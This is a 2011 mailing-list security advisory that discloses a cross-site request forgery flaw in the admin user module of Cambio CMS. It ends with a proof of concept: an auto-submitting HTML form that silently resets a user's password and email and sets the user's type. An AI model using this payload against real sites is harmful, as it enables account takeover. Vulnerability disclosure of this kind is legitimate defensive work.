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XSRF (CSRF) in Cambio
From: advisory () htbridge ch
Date: Tue, 11 Jan 2011 12:29:51 +0100 (CET)
Vulnerability ID: HTB22768 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_cambio.html Product: Cambio Vendor: Joram van den Boezem ( http://www.cambiocms.org/ ) Vulnerable Version: 0.5a nightly r37 and probably prior versions Vendor Notification: 28 December 2010 Vulnerability Type: CSRF (Cross-Site Request Forgery) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "modules/user/user.admin.php" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/index.php?module=user&task=save&elmid=" method="post" name="main"> <input type="hidden" name="id" value="USERID"> <input type="hidden" name="module" value="100"> <input type="hidden" name="newpass1" value="newpass"> <input type="hidden" name="newpass2" value="newpass"> <input type="hidden" name="email" value="email () example com"> <input type="hidden" name="usertype_id" value="2"> </form> <script> document.main.submit(); </script>
Current thread:
- XSRF (CSRF) in Cambio advisory (Jan 11)